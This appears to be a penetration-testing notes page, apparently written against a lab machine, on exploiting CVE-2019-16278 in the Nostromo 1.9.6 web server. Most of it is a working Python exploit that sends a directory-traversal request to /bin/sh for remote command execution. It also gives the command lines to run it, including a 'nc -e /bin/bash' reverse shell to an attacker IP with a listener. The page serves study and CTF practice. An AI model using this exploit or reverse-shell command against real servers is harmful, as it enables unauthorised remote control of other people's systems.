> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/nostromo-cms-exploitation.md).

# Nostromo

Nostromo exploitation notes for CVE-2019-16278 remote command execution, reverse shell delivery, HomeDirs configuration review, and protected user content discovery.

Nostromo exploitation notes for CVE-2019-16278 remote command execution, reverse shell delivery, and HomeDirs enumeration.

## Nostromo CVE-2019-16278 RCE

**Exploit research:** `searchsploit` identifies an RCE exploit for Nostromo 1.9.6.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7b763a32f98f5e2977619392858be4657fad15c%2Fimage%20(2408).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Download the proof of concept from GitHub.

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**Running the script:** Use the following script to execute commands on the server:

```python
import argparse
import socket

# Argparse configuration
parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE")
parser.add_argument("-t", "--target", help="Remote host to target")
parser.add_argument("-p", "--port", help="Remote port to target")
parser.add_argument("-c", "--command", help="Command to execute on the server")
parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response")

# Define and assign the variables
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Build and encode the payload
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Create the socket and send the payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Receive the response and close the socket
print(s.recv(1024).decode())
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-033024af16e12fbfd8047ddba764013a75e3d527%2Fimage%20(2410).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Getting a reverse shell:**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdec712e9c5b41877737bad009275abac37bdaa5%2Fimage%20(2411).png?alt=media" alt=""><figcaption></figcaption></figure>

## Related Note

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-server" style="color:$primary;">:server:</i></h3></td><td><h4>HomeDirs Configuration</h4></td><td>Nostromo HomeDirs enumeration notes for nhttpd.conf review, public_www discovery, protected-file-area access, backup archive extraction, and SSH key recovery.</td><td><a href="/cms/nostromo-cms-exploitation/nostromo-homedirs-configuration.md">Nostromo HomeDirs Configuration</a></td></tr></tbody></table>


---

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